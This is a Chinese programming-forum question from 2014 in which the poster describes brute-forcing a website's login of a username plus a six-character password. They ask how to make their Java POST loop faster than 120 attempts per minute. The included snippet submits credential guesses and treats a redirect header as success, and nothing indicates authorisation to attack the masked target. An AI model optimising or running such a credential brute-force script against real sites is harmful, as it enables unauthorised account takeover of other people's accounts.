模拟post请求 暴力破解密码 如何优化
天然居 2014-09-01 08:17:42 已知某网站登录是用户名和六位字符密码 两个参数post方法提交。我现在模拟post提交,但是速度太慢,一分钟才遍历120次,有没有什么方法可以优化下代码
部分代码如下:
//连接地址
String surl = "http://**************************";
URL url = new URL(surl);
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(connection
.getOutputStream(), "UTF-8");
out.write("UserName="+username+"&PassWord="+password);
out.flush();
out.close();
String sCurrentLine;
String sTotalString;
sCurrentLine = "";
sTotalString = "";
InputStream l_urlStream;
l_urlStream = connection.getInputStream();
if (connection.getHeaderField("Location") != null) {
return true;
}